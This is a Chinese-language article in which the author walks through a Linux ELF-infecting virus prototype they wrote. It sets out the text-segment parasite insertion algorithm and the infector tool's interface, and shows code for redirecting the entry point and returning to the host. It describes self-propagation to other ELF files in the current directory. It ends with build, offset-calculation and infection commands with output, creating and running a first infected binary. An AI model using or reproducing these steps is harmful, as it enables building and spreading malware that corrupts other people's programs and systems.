一、介绍

写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结，同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识，要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

二、ELF Infector (ELF文件感染器)

为了制作病毒文件，我们需要一个ELF文件感染器，用于制造第一个带毒文件。对于ELF文件感染技术，在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的地方，因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来，以供参考：

The final algorithm is using this information is.

* Increase p_shoff by PAGE_SIZE in the ELF header

* Patch the insertion code (parasite) to jump to the entry point

(original)

* Locate the text segment program header

* Modify the entry point of the ELF header to point to the new

code (p_vaddr + p_filesz)

* Increase p_filesz by account for the new code (parasite)

* Increase p_memsz to account for the new code (parasite)

* For each phdr who's segment is after the insertion (text segment)

* increase p_offset by PAGE_SIZE

* For the last shdr in the text segment

* increase sh_len by the parasite length

* For each shdr who's section resides after the insertion

* Increase sh_offset by PAGE_SIZE

* Physically insert the new code (parasite) and pad to PAGE_SIZE, into

the file - text segment p_offset + p_filesz (original)

在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法，g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段，并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单，你只需要提供以下三个定义： 

* 存放你的二进制代码返回地址的地址，

这里需要的是这个地址与代码起始地址的偏移，

用于返回到目标程序的正常入口 #define PARACODE_RETADDR_ADDR_OFFSET 1232



* 要插入的二进制代码（由于用C编写，所以这里需要以一个函数的方式提供）



void parasite_code(void);



* 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算）

 void parasite_code_end(void);



parasite_code_end应该是parasite_code函数后的第一个函数定义，

通常应该如下表示 void parasite_code(void)

{

...

...

...

}

void parasite_code_end(void) {}



在这里存在一个问题，

就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面，

这样会导致计算代码长度时失败，为了避免这个问题，

你可以这样做 void parasite_code(void)

{

...

...

...

}

void parasite_code_end(void) {parasite_code();}



有了这三个定义，g-elf-infector就能正确编译，编译后即可用来ELF文件感染 face=Verdana>

三、病毒原型的工作过程

1.首先通过ELF Infector将病毒代码感染到一个ELF文件，这样就创造了第一个带毒文件，后续的传播就由它来完成。

2.当带毒文件被执行时，会首先跳到病毒代码开始执行。

3.病毒代码开始发作，在这个原型里，病毒会直接开始传播。 

4.病毒遍历当前目录下的每一个文件，如果是符合条件的ELF文件就开始感染。

5.病毒的感染过程和ELF Infector的过程类似，但由于工作环境的不同，代码的实现也是有较大区别的。

6.目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码，如果无法满足，病毒会忽略此ELF。对于被感染过一次的ELF文件，文本段将不会有剩余的空间，因此二次感染是不会发生的。

7.病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要），然后跳回到真正的可执行文件入口，开始正常的运行过程。

上面对病毒原型的工作过程的介绍也许显得千篇一律了，和我们早就熟知的关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

四、关键技术问题及处理

1.ELF文件执行流程重定向和代码插入

在ELF文件感染的问题上，ELF Infector与病毒传播时调用的infect_virus思路是一样的：

* 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联，防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题，见ELF文档中的描述： p_align

As ``Program Loading'' later in this part describes, loadable

process segments must have congruent s for p_vaddr and

p_offset, modulo the page size.

* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向： /* Modify the entry point of the ELF */

org_entry = ehdr->e_entry;

ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

2.病毒代码如何返回到真正的ELF文件入口

方法技巧应该很多，这里采用的方法是PUSH+RET组合： __asm__ volatile (

...

"return:\n\t"

"push $0xAABBCCDD\n\t" /* push ret_addr */

"ret\n"

::);

其中0xAABBCCDD处存放的是真正的程序入口地址，这个值在插入病毒代码时由感染程序来填写。

五、新编译环境下的调试方法

grip2@linux:~/tmp/virus> ls

g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c

Makefile parasite-sample.c parasite-sample.h

调整Makefile文件，将编译模式改为调试模式，即关掉-DNDEBUG选项 grip2@linux:~/tmp/virus> cat Makefile

all: foo gei

gei: g-elf-infector.c gvirus.o

gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG

foo: foo.c 

gcc $< -o foo

gvirus.o: gvirus.c

gcc $< -O2 -c -o gvirus.o -fomit--pointer -Wall #-DNDEBUG

clean:

rm *.o -rf

rm foo -rf

rm gei -rf

编译代码 grip2@linux:~/tmp/virus> make

gcc foo.c -o foo

gcc gvirus.c -O2 -c -o gvirus.o -fomit--pointer -Wall #-DNDEBUG

gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

先获取病毒代码长度，然后调整gvirus.c中的#define PARACODE_LENGTH定义

grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度

Parasite code length: 1744

获取病毒代码开始位置和0xaabbccdd的地址，计算存放返回地址的地址的偏移 grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd

8049427: 68 dd cc bb aa push $0xaabbccdd

grip2@linux:~/tmp/virus> objdump -d gei|grep ""

08048d80 :

8049450: e9 2b f9 ff ff jmp 8048d80

grip2@linux:~/tmp/virus> objdump -d gei|grep ":"

08048d80 :

0x8049427与0x8048d80相减即获得我们需要的偏移，用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值

重新编译 grip2@linux:~/tmp/virus> make clean

rm *.o -rf

rm foo -rf

rm gei -rf

grip2@linux:~/tmp/virus> make

gcc foo.c -o foo

gcc gvirus.c -O2 -c -o gvirus.o -fomit--pointer -Wall #-DNDEBUG

gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

grip2@linux:~/tmp/virus> ls 

gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c

g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h

建立一个测试目录，测试一下 grip2@linux:~/tmp/virus> mkdir test

grip2@linux:~/tmp/virus> cp gei foo test

grip2@linux:~/tmp/virus> cd test

grip2@linux:~/tmp/virus/test> ls

gei foo

grip2@linux:~/tmp/virus/test> cp foo h

制作带毒程序 grip2@linux:~/tmp/virus/test>. /gei h

file size: 8668

e_phoff: 00000034

e_shoff: 00001134

e_phentsize: 00000020

e_phnum: 00000008

e_shentsize: 00000028

e_shnum: 00000025

text segment file offset: 0

[15 sections patched]

grip2@linux:~/tmp/virus/test> ll 

total 44

-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

运行带毒程序 grip2@linux:~/tmp/virus/test>. /h

.

..

gei

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